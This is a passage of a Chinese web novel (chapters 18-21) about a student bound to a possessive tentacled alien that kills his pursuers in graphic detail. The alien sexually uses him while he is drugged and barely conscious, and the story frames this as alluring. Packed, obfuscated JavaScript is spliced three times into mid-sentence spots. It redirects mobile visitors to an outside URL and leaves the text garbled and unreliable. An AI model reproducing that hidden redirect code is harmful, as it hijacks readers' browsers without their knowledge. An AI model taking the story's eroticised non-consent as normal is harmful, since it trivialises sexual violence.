查不到监控,跟踪器被反向利用,监听器被毁……他在陆禾身上吃了太多的瘪,所以都忘了,追根到底,这不过是一个手无缚鸡之力的大学生而已。 之前只是巧合吧。 他这般安慰自己,但心中的慌乱却一点没少。 思忖片刻,私家侦探伸手推了一把陆禾。 “你走最前面。” 被推得踉跄,额头差点撞上门板,但陆禾也没吱声,像是真的老实了。 看他这幅样子,私家侦探才稍稍放松了点。 只是当陆禾走到自己的房间前,插·入钥匙,将门打开的那一刻,血腥味猛地浓重了起来,私家侦探几乎是第一时间就炸起了全身的寒毛。 他回头时身后刚好传来砰的一声。 将门随手带上的老·二,还茫然地看着他脸色苍白的大哥。 “哥你咋了?操什么味儿啊这么冲……” 私家侦探回过头。 比其他人更加敏锐的视力,让他迅速在几秒钟之内将空间本就不大的宿舍观察了个清楚。 自然,他也比所有人更快地找到了空气中弥漫着的血腥味的来源。 宿舍阳台的地面上,有一具尸骨。 新鲜的尸骨。 骨色森白,衬得上面的破碎血肉更加狰狞夺目,空气中几乎像是挤爆了一个橙子一般的浓烈血腥味,昭示着死亡时间并不会太长。 私家侦探的脑子几乎是木了,下意识地看向一旁的陆禾。 他看出陆禾的视线是在看墙角的尸骨,然后,就见陆禾轻轻笑了一下。 私家侦探听见一句喃喃的低语。 “也罢了…一个和几个,也没什么分别……” 私家侦探心里漏掉一拍,没等他反应,站在房间正中央的青年抬起了头。 白皙修长的手指扯开领口,露出一截雪白纤细的脖颈,众人这才看清,那一直被高高竖起的领口遮挡住的脖颈之上,竟然有一圈看着就刺目的鲜红.痕迹。 而他此刻的动作,仿佛一个狂热的信徒,在向什么存在主动献上自己。 陆禾仰脸看着天花板,他整个人都在颤抖,却说不清自己是在恐惧,还是在激动。 伴随着一阵咕啾咕啾的声响,众人就见到一根深紫色的触手,毫无征兆地从天花板上垂落。 “是谁?!”老·二惊叫出声。 那根触手直接勒住了陆禾的脖颈。 脸颊泛上血液充斥后造成的刺目鲜红,但陆禾却毫无反抗,相反,他甚至将领口往下扯了一些,方便触手缠得更紧。 “帮帮我……” 众人听见他说话的时候,嘴角掀起一抹堪称疯狂的弧度,但缩到只剩一个黑点的瞳孔,却清清楚楚地写满了恐惧。 他的声音在颤抖,但还是一字一句地带着祈求,再度开口。 “你想要什么都可以,帮帮我……” “求你……” 皮肤白皙的孱弱少年,还有充满力量行为粗暴的诡异触手。 这一幕带着一种非人的美丽,像是一副晦暗让人不敢直视的油画,又像是一出内容诡异而又绮丽的话剧。 但在场众人没有想到。 这也是他们在人间看到的最后一场,来自死亡的演出。 18. 第 18 章 来之前,陆禾无数次思考过这一幕。 他知道,“祂”的力量肯定不是普通人能够抗衡的,或许将人带回来,现场会十分血腥。 但现在陆禾才意识到自己想得浅了。 现场简直是单方面的屠杀。 四个成年人,三个是成年男性,其中一个还是□□。 在祂面前脆弱得仿佛纸糊一般。 私家侦探最先反应过来,就想逃出门,但触手缠着他的脖子勒了一下,人直接口吐白沫,不知道是窒息还是中毒,又或是二者都有; 陆禾注意到张太太被触手抽了一下后背,整个人的四肢就蜷曲得不成人样,明显脊柱被直接打断了; 而老·二直接大吼一声朝陆禾扑了过来,但人在半空中被吊起来,下一秒陆禾只感觉头顶一阵滚烫的血腥滚落,随即便是肢体接连落地的声响…… 而朱港明则是跪在地上,抱着陆禾的腿求他不要杀自己。 “陆禾,我错了,我真的不是故意出卖你的,求求你,不要杀我,你和祂说,不要……唔唔唔!” 抱着陆禾大腿的双臂被生生折断,而注入身体的毒素麻痹了他的舌头,但却无法屏蔽感知。 朱港明整个人在剧烈的痛苦之中栽倒在地上,一边抽搐一边靠着残肢往门口移动,想要去求救。 但这层楼除了陆禾以外的唯一一个活人,早在他们回来之前,便丧了命。 还有谁会知道,这里发生了一场血淋淋的屠杀呢? “手…不准抱……” 低沉悠远的声线落在耳畔,陆禾的腰被收回来的触手缠上。 不知道混合了几个人的鲜血,染红了他的衣服。 触手一直顺着他的腰侧向上攀,直到主体都覆盖在陆禾的颈后,冰冷的血腥味包裹着感官,触手灵活地将他控制住,越收越紧。 今天的触手格外冷。 但陆禾慢半拍地反应过来,或许冷的是他自己。 他好害怕。 这下,是真的要死了吗? 他感知到了“祂”的怒意,从进门伊始,陆禾就清楚明了地意识到了,“祂”在生气。 上一次他违背承诺,“祂”像一只大型犬,抱着陆禾不放。 但现在想起当初被萌宠视频冲击上头的自己,陆禾只想回去甩上一耳光。 他回忆起当年去野外考察的时候,领队说的话。 “捕食者常有圈养行为,对于逃脱的圈养物,往往会失去原有的耐心。有的会采用更加凶狠的手段,让圈养物长长记性;但更多的情况下,会一次性断除后患。” “像人类饲养羊群一样,一旦羊圈常常被踏破,只要找到带头逃跑的那只头羊杀掉,就全部解决了。” 他真蠢。 居然蠢到把“祂”的行为定义为撒娇。 还妄想自己是否有朝一日,真的能够将“祂”驯服。 而忘了面前的存在,是真正的捕食者。 随时亮出獠牙,便能要了他的命。 陆禾没说话,只是默默地掉眼泪。 但他没想到的是,自己临死前,居然还有心思观察和思考“祂”的进食策略。 如果是吃自己的话。 祂会从哪里开始吃? 上衣的纤维材质布料在腕足的力道下显得非常脆弱,陆禾整个人暴露在泛着血腥味的空气中时,下意识地哆嗦了一下。 他本能地想要缩起,但却被触手强势地阻止,反倒向相反的方向,彻底展开。 带着鲜血的腕足四处游.走,带着浓浓的占有欲,恨不得将自己的气味和黏液涂抹遍陆禾的每一个角落。 很快雪白干净的颜色就被弄得全是血污。 陆禾觉得自己此刻的样子不堪入眼,整个人更是羞耻万分。 汗水,泪水,熟悉的两种。 随即颈侧传来一阵刺痛,鲜血也没放过。 陆禾的心又凉了半截,绷紧的手脚缓缓松懈了力道。 祂真的要杀自己…… 那抵抗似乎也没有意义了。 任凭触手缠上,脖颈上的腕足尖端压住舌苔,一直到达咽喉。 颈侧鲜血不断流出,陆禾本就苍白的脸色变得更差。 他整个人开始轻微地颤抖,体温也越来越低。 应该是要死了吧。 原来死亡,是这样的感觉…… 就在陆禾垂着眼,大脑都开始麻木,他甚至开始犯傻一地思索着:自己的睫毛现在是不是挂满了霜棱。 颈侧的吸盘突然停止了活动,相反地,似乎有什么东西逆向流淌进了血管里。 陆禾微微一顿。 身体似乎开始重新升温。 他一开始还没想明白,触手分泌的物质究竟是什么,直到体温越来越高,高得有些不正常。 而他的大脑也越来越晕,变得迷糊,一股奇怪的火烧火燎的感觉,顺着清瘦平坦的小[月复]一路往下。 陆禾终于明白过来,“祂”的神经性毒素有什么作用。 微量致幻,比如触手初次吸血,他做的那个万花筒一般的梦; 大量致死,像刚刚的私家侦探和朱港明; 而中等剂量… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081241|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …却能让人开始失去理智,沉溺于最初的本能。 就像他现在这样。 陆禾的呼吸渐渐急促,鲜红的唇瓣间尽是呼吸时白色的水雾,他整个人躺在沙发上,脚踝被腕足圈着,以一种怪异的角度维持在半空。 他只是挣扎了一下。 下一秒,伴随着一声惊呼,力道顺着触手传到各处被卷住的关节,陆禾毫无征兆地被提上了半空。 原本后背靠着沙发,还算能获取点安全感。 但现在这个样子,他整个人失去了发力点,只剩被迫悬在半空。 唯一的依靠,就只有关节处的那些触手。 陆禾不可能不紧张,但一紧张,血液循环就会加快。 神经性毒素蔓延到每一处神经元里,体温已经不知高到了什么样的程度。 大脑仿佛变成了一团浆糊,陆禾几乎已经失去了思考能力。 他甚至没有多余的思路去想:为什么刚刚明明还处在暴怒状态下的“祂”,到现在还没有杀死自己。 陆禾觉得渴,更觉得热,甚至还下意识地低下头,用下巴去蹭圈着自己脖颈的那根触手。 黏液冰凉,起码能纾解几分。 却不想自己的行为,让本身勒得他关节发红的触手力道更重了几分。 “热……”陆禾轻声道。 “陆…禾……” “陆禾……” “陆禾,陆禾……” 接连不断的呼唤,终于让陆禾稍稍回了点神。 他轻轻嗯了一声,尾音上扬,带着疑惑,但更多的是勾人。 那声音继续缓慢,而不可违逆地道。 “陆禾…是,我的……” “你…是我的…我的……” 陆禾茫然地歪了歪脑袋。 “我……是你的……?” 都快没意识了,他连咬字都不清。 带着点疑惑的尾音被含糊掉,不像疑惑,更像重复和肯定。 布满黑暗的屋子里,响起一阵阴沉而又满足的轻笑声。 奇怪的火和一阵冰凉,一起转向下方。 神经有些麻痹迟钝的陆禾顿了顿,低下头时,反应过来祂要做什么,立刻惊呼出声。 “不!那里不…唔……” 意识彻底涣散前最后的一丝抵抗,很快就被触手连同着其他所有的声音一起,彻底封回了腹中。 怀里的人轻轻抖了起来。 低沉的冷笑再度回响。 不管是今晚,还是以后。 陆禾永远属于祂。 只属于祂。 19. 第 19 章 夜已深了。 清瘦的青年窝在床榻上,眼角带着未褪去的红意。 但这已经是身上所有痕迹里最为浅淡的颜色。 一根触手绕在他的脖颈上,带着不由分说的强势和霸道。 即使是已经盖满了乱七八糟的“印章”,依旧不足以表达那浓烈的占有欲。 陆禾睡得很沉。 或者叫半昏迷更为合适。 五根触手缠着他不放,吸盘经过的每一处,都变得十分干爽,也算间接地给他清洁了一下。 触碰到有些肿或是破皮的地方时,睡梦里的青年会轻轻颤动一下。 非常有意思。 “祂”凝视着自己睡着的所有物,十分有兴味地一一尝试起来。 半晌,“祂”的动作一顿。 静谧而泛着血腥味的屋内响起一阵“嗬嗬”的声响,很快,空气里弥漫着的血雾都向床上那个黑紫色的身影席卷而去。 触手迅速收缩,原本形状清晰的五根腕足卷在一起,像是被一种无形的力量揉捏成了一团。 五根触手,两根延长,两根稍微缩短,中间则变得偏圆…… 深紫色的韧性皮肤逐渐被血红所覆盖,若是保持一定距离看去,就能发现,此刻的“祂”,已经变成了一个血人。 血人逐渐地拥有了意识。 祂看了一眼自己的双手,又扫视了一遍身体。 头微微抬起,空洞而鲜红一片的眼眶,转向了床上的身影。 祂微微俯下身,脖子扭出一个诡异的角度,明明是站在陆禾身后,脸却从前方伸来。 一根细长而分叉的舌头从未完全成型的口腔里伸出,尖端轻轻地触碰到青年颈侧被吸盘刺破,此时已经半凝固的血孔。 舌尖轻轻地舐了一下。 身体的每一个细胞,顿时爆发出了一阵愉悦的欢呼。 直勾勾地盯着睡着的青年,无声地看了许久。 祂张了张嘴。 “我的…” “我的……” “我的陆禾……” * 眼前一阵光怪陆离。 是梦吗? 不知道……陆禾已经没有力气去想。 他浑身的每一寸肌肉都像生产了过多的乳酸,脚步都有些虚浮。 周围是一片原始森林,富氧的环境造就了高大的树木,热雾弥漫,抬头尽是浓密而又宽大的树冠,几乎看不见外面的太阳。 自己为什么会在这里? 陆禾突然想。 但他没有想很久,因为他很快就注意到自己身后走过的丛林,正在被一片逐渐蔓延的黑暗所吞噬。 说是黑暗,但是不纯粹。 他依稀可以从那团黑雾一样的物质里,看到一些细碎的星星点点。 像是太空里的一角,看似虚无,但却有无数大小星球,带着神秘而又诡异的绚丽。 但热带雨林为什么会出现这种东西? 陆禾无暇多想,因为那团黑雾正以很快的速度往他这边追来。 他跑了起来。 但大腿太酸,尤其是关节,像是被什么东西勒过一样,没有力气,又有些麻。 陆禾的速度很快慢了下来。 他绊到了一根藤条。 重心失衡,整个人向前摔去,陆禾用力闭上眼睛,但身体却被一股力道托住。 他意外地睁开眼,看到自己的腰跟手臂上绑着几根藤蔓,像是从头顶那棵树上垂落下来的。 只是没等陆禾松一口气,藤蔓上的力道猛地收紧。 陆禾啊了一声,整个人被往半空中提。 他蹬着手脚想要逃离,但全是徒劳无功,他像一只垂死挣扎的猎物,被渐渐吞没在牢笼之中…… 就在这时,一双手抓住了他的腰。 陆禾不敢置信地低头看去,发现那双手有些熟悉:蜜色的肌肤,布满有力的青筋,肌肉线条饱满漂亮。 他在之前的梦里见过。 当时这双手也是掐着他的腰,不过场景是在浴室…… 但这一次,这双手沾满了鲜血。 一股浓烈刺鼻的血腥味顿时扑面而来,陆禾终于看清了手的来处——那团追着他不放的黑雾。 修长有力的手臂从后搂住了陆禾,蜜色的胳膊和雪白纤细的腰肢形成了鲜明的对比。 陆禾听见耳畔有人在说什么,但模模糊糊的听不太清楚。 他抬起头,对上了一双猩红的血目。 也听见了那话语低沉的内容。 “我的……” “你是我的…陆禾……” 陆禾从床上猛地坐了起来。 胸口剧烈起伏,心脏像是要从嗓子眼里直接跳出来。 后背泛起一阵寒意,但是却没有出冷汗。 陆禾舔了舔唇,反应过来:不是他情绪波动不够大,而是因为自己身体的水分流失有点太多了。 他下意识地抬起头,抑制不住地嘶了一声。 脖子被勒得好疼。 陆禾觉得这次的痕迹应该比之前都要严重。 不仅是脖颈,只要是触手触碰过的地方,几乎都是一阵酸胀无力的发麻感,不知道是被触手勒的,还是因为神经性毒素的余留影响。 哦不对。 除了某处…… 陆禾的耳朵瞬间爬满了红云,他都不用掀开身上的被子,相反还把被角掖严实了一点。 但尽管如此,从被子下半截露出来的小腿,依旧布满了艳丽的痕迹。 但那片区域已经是被触碰得最少的地方了。 其他的地方陆禾都不敢想。 回忆起昨晚的情景,陆禾现在脊骨都有些发软。 他第一次感受到什么叫做意识涣散的沉沦,整个人像是被丢在一艘小船上,身处滚烫的海水,每一阵风都能把他掀翻,每一道波涛都能把他的皮肤烫出一片绯色的红。 甚至到了最后,陆禾觉得自己变成了一个阀门坏掉的水龙头。 他已经分不清出来的究竟是什么了。 但不得不承认的是,似乎比他自己解决的时候,要舒服很多…… 陆禾整个人滑进被窝里,有些无所适从。 他一直以为“祂”对他只有纯粹的食欲,但昨天晚上…… 不对,祂好像全部吃掉了。 陆禾脸一红,伸手捂住了自己的脸。 也是啊,那也是液体。 应该是在祂食谱里的。 所以到底是什么? 将脸埋在脑袋里,陆禾听见了自己胸膛里的咚咚声。 他耐心等到失去节律的心跳逐渐平复。 四周的尸骨、血肉之类的东西已经被清理干净,陆禾也不知道那些东西都去了哪里。 但他也不敢问。 陆禾小心翼翼地起床洗漱,正当他控制着自己发软的手脚,带着光脑走到宿舍门口。 一直没有动静的触手毫无征兆地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093116|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缠上了他的腰。 陆禾以为“祂”没醒。 但实则,“祂”只是在旁边冷冷地观察着自己的所有物。 陆禾听到了一声轻到他怀疑是否是自己错觉的冷笑声。 直到那低沉的声音响起,让他确信自己的听觉并没有出现问题。 “还是…太放任你……” 陆禾听见“祂”说。 居然还有力气逃跑。 陆禾想要解释一句自己不是想逃,只是想换个地方冷静一下。 但所有的申辩,都被缠绕到脸上的触手彻底封缄。 陆禾不知道时间过了多久。 只知道最后,自己又晕了过去。 连水都没来得及喝一口。 但身体却愈发缺水了。 * 陆禾是被一阵剧烈的敲门声吵醒的。 敲门声越来越大,他的五感还没有完全恢复,以至于听得模模糊糊,但大概能明白有人在叫他。 他像一条涸泽之鱼,拖着疲倦的身体到了门边。 开门看清来客时,陆禾整个人瞬间清醒了不少。 连同后背,都跟着紧绷起来。 “有什么事吗?”陆禾开口,声音是他自己都没想到的嘶哑。 他吞咽了一下,看向来人。 “同学你好。”之前张朗死的时候来办案的警官小哥朝陆禾点了点头,手里拿着自己的警官证。 陆禾半张脸掩藏在门后的阴影里。 他警惕地看着门外的来人,又问了一遍:“有什么事吗……” 一个突如其来的声音将陆禾的话打断。 “陆学长,终于找到你了!” 熟悉的声音让陆禾紧绷的神经一松,他偏头看了一眼,才看到警官小哥身边站着的姜荷,还有她的小姐妹。 “陆学长,你失踪好几天,发消息也没回,我们还以为你出事了。” “哦,我没事。” 陆禾才稍稍松了口气。 但姜荷的下一句话,让他才往下落了点的心脏,又一次提回了嗓子眼。 “而且朱港明也不见了,陆学长你有看到他吗?” 陆禾轻轻呃了一声。 他正犹豫着,就听警官小哥很敏锐地问了一句:“同学,方便问一下你这两天的去向吗?” 陆禾注意到对方的视线落在自己的脖子,他下意识地拢了拢领口。 “我……这两天有点过敏。”他咳嗽了两声,但并不是装的,而是嗓子太干了,“吃了过敏药犯困,一直在家睡着。” 警官小哥闻言,才将目光缓缓从陆禾脖颈露出来的一些痕迹上移开。 原来是过敏。 他一开始还以为是被掐的。 心中在思考陆禾是否跟人发生了斗殴事件。 “是这样的,陆同学。”警官小哥说,“我这次接到报案过来,除了确定一下你的安全,也需要你配合我们警方进行一些调查。” 陆禾一凛,果不其然,警官小哥接下来的话,让他的心彻底沉落到了谷底。 “经过我们的调查,从上个月18号到今天,总共不到三周的时间里,张朗、张朗的母亲、他母亲聘请的私家侦探、你们学校的杜景恒同学、以及一对中年夫妇,都在先后失踪甚至死亡。” “而你是他们交际网里共同的存在。”警官小哥收起手里的办案本,目光灼灼地审视着陆禾,“我想请问一下,你对他们的意外,有什么了解么?” 20. 第 20 章 半个小时后,换了一身衣服的陆禾出现在警局大厅里。 T恤的领口堆在颈侧一圈,遮挡住了脖颈,但却遮不住他泛红的眼尾和唇瓣,以及裂开后带着点血痕的嘴角。 “喝点水,再补充一下能量吧。”警官小哥将一杯温水放到陆禾手边,还有一块巧克力,“不用紧张,我们只是例行询问一下。” 陆禾看了一眼旁边正在桌子上费力解开电线结的另一位警察。 例行询问,但上测谎仪。 纤长的睫毛垂落,陆禾微微弓起的后背靠着警局冰冷的木椅。 身上的衣服有些松垮,不只是专门买大的还是因为比买的时候又瘦了,套在身量清瘦的青年身上,显得人更加精致却脆弱。 陆禾咬了一口巧克力。 可可脂的香气在口腔里蔓延,但对寡淡了太久的味蕾而言,稍微有些过了。 他只能端起水杯喝了一口。 警官小哥看了一眼身旁的同伴,测谎仪上次不知道是谁用的,线缠得乱七八糟。 他朝陆禾笑了笑,“你先缓缓,也可以思考一下最近的事情,看看有没有什么线索可以提供给我们。” 陆禾没说话,只是微微地点了点头。 他的确在思考。 但思考的是别的。 被警官小哥带走前,陆禾紧张地看了一眼房间四周。 所有的血迹和尸骨都不翼而飞,像是什么都没有发生过一般,陆禾不知道祂是怎么做到的,但结果就是如此,也给他省去了很多麻烦。 但当陆禾抬起头看天花板的时候,却意外地发现:祂不见了。 除了缠着他的时候,几乎都趴在天花板上方,甚至陆禾昏迷之前都还控制着他的触手,在陆禾一觉醒来之后,消失得无影无踪。 跟那些杀戮的痕迹一起,了无痕迹。 就像过去几周的事情都只是一段漫长的幻觉。 但现实就是,桌面上的死亡名单和死者信息拉得老长。 测谎仪通了电,被放置在陆禾的旁边。 警官小哥朝他笑了笑,阳光的笑容十分有感染力,能让人不由自主地放松下来。 他先是询问了陆禾的个人信息,包括就读的学校专业,年龄,学历等等,当问到陆禾是否被收养过时,现场安静了一下。 陆禾沉默片刻,随即点了点头,“嗯,我被收养过。” 警官小哥下意识看了一眼旁边的测谎仪,天线电流平稳,没有检测出谎言。 “但我看到你的个人档案里,你从小学开始领取救济金,据我了解的政策,被收养的小孩应该不符合政府救济金的条件?” 陆禾缓缓吐出一口气,道:“我曾经被收养了一年,但是后来收养我的家庭经济状况不好,所以我主动解除了收养关系。” 警官小哥明显停滞了一瞬。 他脸上的笑容稍稍浅淡了一点,眨了眨眼睛,低头做笔录。 “嗯好,我知道了。” 后半程的笔录,比陆禾想的要稍微温和一些。 虽然有测谎仪在,但从来没有响过。 陆禾并没有撒谎,他说的全是实话。 死亡名单上的所有人都不是他杀的; 朱港明跟张太太有什么条件,他也不知道; 而那个私家侦探姓甚名谁,和张太太约定了什么酬劳条款,他也一概不清楚。 陆禾只是配合调查,并不是嫌疑人,因此对他只能问话,不能审讯。 至于最终因为问到的信息有限,警察小哥和同事沟通判断了一下,得出“死者们对陆禾谋划的绑架谋害计划还并未来得及实行,结果一行人就出了意外”的结果,就和陆禾没什么关系了。 他出门的时候是午后。 从警察局里做完笔录出来,已经是傍晚了。 路边有个老大爷在卖棒棒糖,一根根彩虹色的圆形糖果戳在稻草扎上,像一朵盛开的彩色蒲公英。 小时候他很喜欢这种糖,但从来没有机会尝一下。 但长大后就很少见有人卖的了。 虽然明知道也就是糖的味道,甚至还不如一些口味奇巧的糖果好吃。 但他就是想替童年的自己尝尝。 陆禾看了一会儿,摸了摸口袋。 出门忘带钱了。 算了。 警局的椅子坐得并不舒服,或许是为了营造严肃的氛围,还有点硌人。 但陆禾往外走了一段,才后知后觉地意识到椅子的关系或许不大,主要是他和椅子接触的那片有些肿,怎么碰都是会有点疼的。 毕竟“祂”很生气。 所以行为也不像过往那样,虽然强势,但动作算得上温和。 不过。 陆禾记得很清楚,出门前天花板上空无一物,而他的房间总共就那么大。 虽然现在知道没有搜查令,自己也不是嫌疑人,警方无权强闯私宅,但当时的他,还是担心过警官会不会直接进门检查,然后找到“祂”的踪迹。 但警官没进来。 祂却也不在。 陆禾在想:祂去了哪里? 思绪被一根递到眼前的棒棒糖打断。 从小观察过糖扎无数次的陆禾立刻判断出,这是糖扎最顶部扎的,最大的那一根糖。 是每个小孩童年时梦想从家长那里得到的奖励。 陆禾抬起头。 是刚刚那位警官。 警官小哥换了一身便服,比起板正而又气质克制的警服,他身上的白T配灰色短裤另有一种很青春活力的气质。 没了头顶的警帽,露出了里面剃得短短的寸头,加上警官小哥硬朗但周正的五官,实话说还挺帅的。 他拿着棒棒糖朝陆禾笑。 但陆禾没有接。 “你好。”陆禾不知道该说什么话,就打了个不会出错的招呼,“是还有什么需要我配合的吗?” 警官小哥一愣,随即笑了。 他扯了扯自己的衣领,“我现在已经下班了。” 陆禾的表情显出几分茫然,不解地看着对方。 “呃……” 常年晒太阳的蜜色皮肤显出几分红晕,警官小哥不好意思地道。 “就是想给你道个歉,我刚刚是工作需要,不是故意质问你家里的事情。” 陆禾明了,摇了摇头。 “没关系。” 他能理解。 “这个,送给你的。”警官小哥将手里的棒棒糖往前推了一点,见陆禾又茫然了,他补充说,“算是,赔礼道歉。” 陆禾觉得面前的警官小哥下班后比上班时要笨拙一点。 “谢谢你。”陆禾伸手将棒棒糖接过,拿在手里。 警官小哥脸上的神情轻松了不少,他说:“我叫裴青昊。” “我……”陆禾开口,才意识到对方早应该知道自己的名字。 裴青昊也不尴尬,笑容更大了点,“嗯,你叫陆禾!” 陆禾很少遇到这么热情的人,以至于有些不适应。 在裴青昊主动提出开自己的车送他回学校时,陆禾犹豫了一下,但最后考虑到警局里学校还有一段距离,如果坐公共交通工具回去,又得是一笔开销,所以点了点头。 到学校时太阳已经落下了,陆禾跟裴青昊道谢。 进校门的时候,他余光看见那人还在门口,目光有了一瞬间的触碰,后者朝他挥了挥手。 陆禾轻轻点了点头,也不知道对方有没有看到。 但他觉得,裴警官是个还不错的人。 陆禾拿着棒棒糖往回走。 他没注意到在他走后,刚回到车上的裴警官,在逐渐熄灭的车内照明灯下,猛地睁大了眼睛。 车窗上的人影剧烈地扭动起来。 * 陆禾吃了个饭,又在校园里逛了很久,直到很晚才回到宿舍。 随着杜景恒的死传开,这栋楼已经成为了新一波的校园怪谈。 陆禾开门的时候,看到楼梯口有好奇的人偷偷缩回了脑袋。 那人手里还拿着行李箱,脚步声听着是往楼下走,估计是被吓到了,于是连夜搬走的。 推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100089|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门。 空气里残余的血腥气已经散得差不多了。 但天花板上的深紫色触手,却并没有回来。 陆禾在沙发上坐了一会儿,他罕见地没有吃学校有餐补的食堂,而是给自己点了个外卖。 陆禾抬起头看了一眼。 桌子上放着就是那台老式光脑,但现在是灭着的,裴青昊送的棒棒糖被他放在旁边。 他突然就不想吃棒棒糖了。 直到外卖员的声音在门口响起,陆禾才回过神。 他从沙发上起身,穿着拖鞋走到门口,才突然反应过来。 平时学校的外卖都是放楼下的。 怎么今天送上来了? 但手上的动作太快,陆禾来不及,他拉开门时,看到一张风吹日晒后有些黑的脸。 外卖员比他略高点,瘦瘦的,叼着半根烟。 看到陆禾时,他眼睛眯了一下,随即对着人一笑,“你的外卖。” 陆禾伸手接过,但对方却没有放手。 双方的手指相互触碰,陆禾蹙了蹙眉。 “同学。”外卖员眼睛透过陆禾的肩头往房间里看了一眼。 陆禾被他的眼神看得有些不舒服,挪了一下角度,将房间内挡住。 他放开手里的外卖,收回了手。 外卖员一手还抓着外卖,另一只手夹着烟比划了一下,示意四周。 “这周围没人了吗,我看一路上来安静得很啊。” 他眼睛扫了一圈,这件大平层四个房间,其他三个都像是空的,两间开着门里头空荡荡,隔壁那间好像用警戒线封着,应该也是没人的。 陆禾不知道他问这个做什么,就嗯了一声。 “你一个人住?”外卖员又问。 陆禾皱着眉,道:“有什么事吗?” “哦,就是问问,我们常跑你们学校,那个,担心生意。”外卖员说着,又把烟叼了回去。 他视线直勾勾地盯着陆禾,将手里的塑料袋递出,“你的外卖。” 陆禾伸手接过,这次对方没有再拉着不放。 “用餐愉快。”外卖员说着,齿间的烟一抖一抖的,落下几粒呛人的烟灰。 陆禾反身关了门,屋内传来反锁的咔哒声。 走廊的灯光按下,唯余一点星火抖落。 外卖员站在黑暗里,眯着眼睛盯了面前的门板许久。 他将手里的烟掐灭,在陆禾房间门旁边的墙壁上,用烟灰画了一个不甚起眼的三角形。 外卖员没走电梯,而是从消防楼梯往下走,拿着光脑打了个通讯。 “嗯,搞定了。” “嫩死了,妈的,前几天我就注意到他了。” 他说着,听见头顶轰一声。 “我草。”外卖员骂了一句,抬头看了看,却没看见什么。 他继续说:“……没事,通风管道响了下。” 不知走到多少层,楼梯间的灯似乎坏了,夜已深,台阶黑漆漆的。 外卖员下意识放慢脚步,抽出根烟,但打火机莫名其妙地点不燃了。 他叼着烟,含混不清地和同伙说:“我跟你说,那小子肯定是个骚·货,我刚看他脖子上全是吻·痕,跟他娘的被狗啃了似的…妈的这楼梯怎么滴水……” 砂轮被搓得咔咔响,火花迸开间,终于亮起了火苗。 外卖员低头正想把烟点燃,却感觉哪里有些不对。 借着火光朝四周看了一眼,火苗跃动,墙壁上被火光映出自己的身影,弓着腰有些佝偻。 他挺了挺背脊,心说怪不得陆禾刚刚表情厌恶,原来驼背习惯了,没把自己最帅的一面表现出来。 但是自己背后那根垂下来的东西是什么? 他回过头。 映入眼帘的是密密麻麻,一眼数不清的无数红色吸盘。 楼梯间响起一阵憋闷却充满了清晰痛苦的惨叫。 随着燃烧过久而逐渐发烫的打火机,在空中划出一道失控的弧度,重重坠落在地。 砸出的火星,映照出喷溅了满墙的鲜血。 21. 第 21 章 此时的陆禾在房间里,一口一口吃着外卖。 味道不太好。 不过他现在心思不在这里,刚好也尝不出什么味道。 将剩了大半的饭菜盖好丢进垃圾桶里,陆禾的目光其实是发直的,他感觉自己的四肢像是有意识机械臂,会自己开始移动。 就跟有副脑似的……像祂一样。 陆禾回过神,人已经坐在了桌边光脑前。 他愣了愣,意识到自己的状态不对,索性装了杯水,一口气喝了一半,定定心神。 看部电影吧。 陆禾跟自己说,找点事情做,才不至于一直这样浑浑噩噩。 操纵着光脑,陆禾清楚地感知到现在的设备比起之前有多么地流畅。 而这一切都是拜“祂”所赐。 真不知道K-13星球的科技水平到了一个怎样的高度。 屏幕上灯光一闪,陆禾眨了眨眼睛,被晃回了神。 陆禾轻轻啧了一声,有些懊恼地按了按自己的额头,但当他将视线努力移到光脑屏幕上,告诉自己要专注,不要乱想其他的事情时。 影片的标题在屏幕上浮现。 《异形2》 陆禾讷讷地坐在原地。 这一次,倒是把所有的东西都看进去了。 上次陆禾看第一部的时候,见到抱脸虫寄生,三叶虫缠着人的手脚,幼体破胸而出的场景,只觉得血腥恐怖。 但这一次,当他看到一根触手缠住配角的脖子收紧时。 陆禾想的是:那会是一种什么样的感觉? 跟被腕足缠着的感觉,会很像吗? 他不知不觉地抬起手,直到指尖触碰到脖颈上眼色极深的痕迹,产生了微微的刺痛。 不在了。 祂,不在了。 陆禾有些失魂一般站了起来,躺回了自己的床上。 枕着枕头平躺,目光恰好看着天花板。 他没有丧失理智,甚至他还清楚地知道体内的神经性毒素已没有残余,此刻他的意识应该很清醒。 作为亲眼看见了一场单方面屠戮,甚至被喷了一身血的目击者,他应该害怕,恐惧,甚至精神崩溃; 而当一直以来都缠着他不放的屠戮者本身毫无理由地消失了,甚至有可能再也不会出现在他的生活里,作为幸存者的他,应该有的情绪是庆幸。 但他,一个都没有。 祂不在了。 